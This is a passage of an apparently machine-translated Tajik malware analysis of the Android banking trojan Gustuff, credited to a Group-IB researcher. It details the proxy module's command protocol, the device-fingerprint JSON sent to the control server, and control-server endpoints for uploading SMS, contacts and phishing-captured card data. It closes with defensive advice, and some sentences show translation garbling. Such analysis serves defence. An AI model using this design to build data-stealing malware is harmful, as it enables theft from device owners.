Инчунин вақте ки ин ҳодиса оғоз мешавад android.net.conn.CONNECTIVITY_CHANGE Модули прокси оғоз ёфт.

2. Барнома бо параметр қулфи бедорсозиро эҷод мекунад ҚИСМАН_БЕДОРӢ ва ӯро дастгир мекунад. Ин CPU-и дастгоҳро аз ба ҳолати хоб рафтан пешгирӣ мекунад.

3. Синфи коркарди фармони модули проксиро оғоз мекунад, аввал сатрро сабт мекунад mainLog("сервери оғоз") и

Server::start() мизбон[<%proxy_cnc%>], commandPort[<%command_port%>], proxyPort[<%proxy_port%>]

ки proxy_cnc, command_port ва proxy_port – параметрҳое, ки аз конфигуратсияи сервери прокси гирифта шудаанд.

Синфи коркарди фармон номида мешавад CommandConnection. Дарҳол пас аз оғоз, амалҳои зеринро иҷро мекунад:

4. Ба ProxyConfigClass.host: ProxyConfigClass.commandPort ва ба он ҷо маълумотро дар бораи дастгоҳи сироятшуда дар формати JSON мефиристад:

{
    "id":<%id%>,
    "imei":<%imei%>,
    "imsi":<%imsi%>,
    "model":<%model%>,
    "manufacturer":<%manufacturer%>,
    "androidVersion":<%androidVersion%>,
    "country":<%country%>,
    "partnerId":<%partnerId%>,
    "packageName":<%packageName%>,
    "networkType":<%networkType%>,
    "hasGsmSupport":<%hasGsmSupport%>,
    "simReady":<%simReady%>,
    "simCountry":<%simCountry%>,
    "networkOperator":<%networkOperator%>,
    "simOperator":<%simOperator%>,
    "version":<%version%>
}

Дар куҷо:

  • id – идентификатор, кӯшиш мекунад, ки бо майдони “id” аз файли Preference Shared бо номи “x” арзиш ба даст орад. Агар ин арзиш ба даст оварда нашавад, он арзиши навро тавлид мекунад. Ҳамин тариқ, модули прокси идентификатори худро дорад, ки ба ҳамин монанд ба ID Bot тавлид мешавад.
  • imei — IMEI дастгоҳ. Агар дар ҷараёни ба даст овардани арзиш хатогӣ рух дода бошад, ба ҷои ин майдон паёми матнии хато навишта мешавад.
  • imsi — Ҳувияти муштарии байналмилалии мобилии дастгоҳ. Агар дар ҷараёни ба даст овардани арзиш хатогӣ рух дода бошад, ба ҷои ин майдон паёми матнии хато навишта мешавад.
  • модел — Номи аз ҷониби корбар намоён барои маҳсулоти ниҳоӣ.
  • истеҳсолкунанда — Истеҳсолкунандаи маҳсулот/ сахтафзор (Build.MANUFACTURER).
  • androidVersion - сатр дар формати "<%release_version%> (<%os_version%>),<%sdk_version%>"
  • кишвар — ҷойгиршавии ҷории дастгоҳ.
  • partnerId сатри холӣ аст.
  • PackageName - номи баста.
  • Намуди шабака — намуди пайвасти шабакавии ҷорӣ (масалан: “WIFI”, “MOBILE”). Дар сурати хатогӣ, нулро бармегардонад.
  • hasGsmSupport - ҳақиқӣ - агар телефон GSM-ро дастгирӣ кунад, дар акси ҳол дурӯғ.
  • simReady - ҳолати SIM корт.
  • simCountry - рамзи кишвари ISO (дар асоси провайдери SIM корт).
  • networkOperator — номи оператор. Агар дар ҷараёни ба даст овардани арзиш хатогӣ рух дода бошад, ба ҷои ин майдон паёми матнии хато навишта мешавад.
  • simOperator — Номи провайдери хидматрасон (SPN). Агар дар ҷараёни ба даст овардани арзиш хатогӣ рух дода бошад, ба ҷои ин майдон паёми матнии хато навишта мешавад.
  • версия - ин майдон дар синфи конфигуратсия нигоҳ дошта мешавад; барои версияҳои санҷидашудаи бот он ба "1.6" баробар буд.

5. Ба ҳолати интизории фармонҳо аз сервер мегузарад. Фармонҳо аз сервер дар формат меоянд:

  • 0 офсет - фармон
  • 1 офсет - sessionId
  • 2 офсет - дарозӣ
  • 4 офсет - маълумот

Вақте ки фармон меояд, барнома сабт мекунад:
mainLog("Сарлавҳа { sessionId<%id%>], навъи[<%command%>], дарозӣ[<%length%>] }")

Фармонҳои зерин аз сервер имконпазиранд:

ном фармон Маълумот Тавсифи
пайвастшавӣ ID 0 ID пайваст Пайвасти нав эҷод кунед
хоб 3 Time Модули проксиро таваққуф кунед
ПИНГ_ПОНГ 4 - Паёми PONG фиристед

Паёми PONG аз 4 байт иборат аст ва чунин менамояд: 0x04000000.

Вақте ки фармони connectionId гирифта мешавад (барои эҷоди пайвасти нав) CommandConnection як мисоли синфро эҷод мекунад ProxyConnection.

  • Дар проксиинг ду синф иштирок мекунанд: ProxyConnection и Поён. Ҳангоми сохтани синф ProxyConnection пайваст шудан ба суроға ProxyConfigClass.host: ProxyConfigClass.proxyPort ва интиқоли объекти JSON:

 {
    "id":<%connectionId%>
}

Дар посух, сервер паёми SOCKS5 мефиристад, ки дорои суроғаи сервери дурдаст, ки бо он пайвастшавӣ бояд барқарор карда шавад. Муносибат бо ин сервер тавассути синф сурат мегирад Поён. Танзимоти пайвастшавӣ метавонад ба таври схематикӣ ба таври зерин ифода карда шавад:

Чӣ тавр Android Trojan Gustuff кремро (fiat ва крипто) аз ҳисобҳои шумо канда мекунад

Муносибатҳои шабакавӣ

Барои пешгирии таҳлили трафик аз ҷониби sniffers шабака, ҳамкории байни сервери CnC ва барнома метавонад бо истифода аз протоколи SSL ҳифз карда шавад. Ҳама маълумоти интиқолшуда ҳам аз сервер ва ҳам ба сервер дар формати JSON пешниҳод карда мешаванд. Ариза ҳангоми кор дархостҳои зеринро иҷро мекунад:

  • http://<%CnC%>/api/v1/set_state.php — натичаи ичрои фармон.
  • http://<%CnC%>/api/v1/get.php — кабули фармон.
  • http://<%CnC%>/api/v1/load_sms.php — зеркашии паёмҳои SMS аз дастгоҳи сироятшуда.
  • http://<%CnC%>/api/v1/load_ab.php — бор кардани рӯйхати алоқаҳо аз дастгоҳи сироятшуда.
  • http://<%CnC%>/api/v1/aevents.php – дархост ҳангоми навсозии параметрҳои дар файли афзалиятҳо ҷойгиршуда сурат мегирад.
  • http://<%CnC%>/api/v1/set_card.php — боркунии маълумоте, ки бо истифода аз равзанаи фишинг ба даст оварда шудааст, ки ҳамчун Google Play Market маскарад.
  • http://<%CnC%>/api/v1/logs.php - боркунии маълумотҳои сабт.
  • http://<%CnC%>/api/v1/records.php – боркунии маълумоте, ки тавассути тирезаҳои фишинг гирифта шудааст.
  • http://<%CnC%>/api/v1/set_error.php - огоҳӣ дар бораи хатогие, ки рух додааст.

тавсияњои

Барои муҳофизат кардани муштариёни худ аз таҳдиди троянҳои мобилӣ, ширкатҳо бояд аз ҳалли ҳамаҷониба истифода баранд, ки ба онҳо имкон медиҳанд, ки бидуни насби нармафзори иловагӣ дар дастгоҳҳои корбар назорат ва пешгирии фаъолияти зарароварро таъмин кунанд.

Барои ин, усулҳои имзои ошкор кардани троянҳои мобилӣ бояд бо технологияҳои таҳлили рафтори муштарӣ ва худи барнома мустаҳкам карда шаванд. Муҳофизат инчунин бояд функсияи мушаххаси дастгоҳро бо истифода аз технологияи изи ангуштони рақамӣ дар бар гирад, ки имкон медиҳад фаҳмем, ки вақте ҳисоб аз дастгоҳи ғайриоддӣ истифода мешавад ва аллакай ба дасти қаллобон афтодааст.

Нуктаи куллан муҳим мавҷудияти таҳлили байниканалӣ мебошад, ки ба ширкатҳо имкон медиҳад, ки хатарҳоеро, ки на танҳо дар Интернет, балки дар канали мобилӣ ба вуҷуд меоянд, масалан, дар замимаҳои бонкдории мобилӣ, транзаксияҳо бо криптовалютаҳо ва ҳама чизи дигаре, ки дар он ҷо ба вуҷуд меоянд, назорат кунанд. муомилот ба амал баровардан мумкин аст.муомилоти молиявй.

Қоидаҳои бехатарӣ барои истифодабарандагон:

  • барои дастгоҳи мобилии дорои OS Android аз ягон манбаъи ғайр аз Google Play замимаҳоеро насб накунед, ба ҳуқуқҳои дархосткардаи барнома диққати махсус диҳед;
  • мунтазам насб кардани навсозиҳои OS Android;
  • ба васеъшавии файлҳои зеркашида диққат диҳед;
  • захираҳои шубҳанокро боздид накунед;
  • Истинодҳои дар паёмҳои SMS гирифташударо клик накунед.

Нашрия Семён Рогачёва, мутахассиси хурд оид ба таҳқиқоти нармафзори зараровар дар лабораторияи криминалистии компютерии Group-IB.

Манбаъ: will.com

Илова Эзоҳ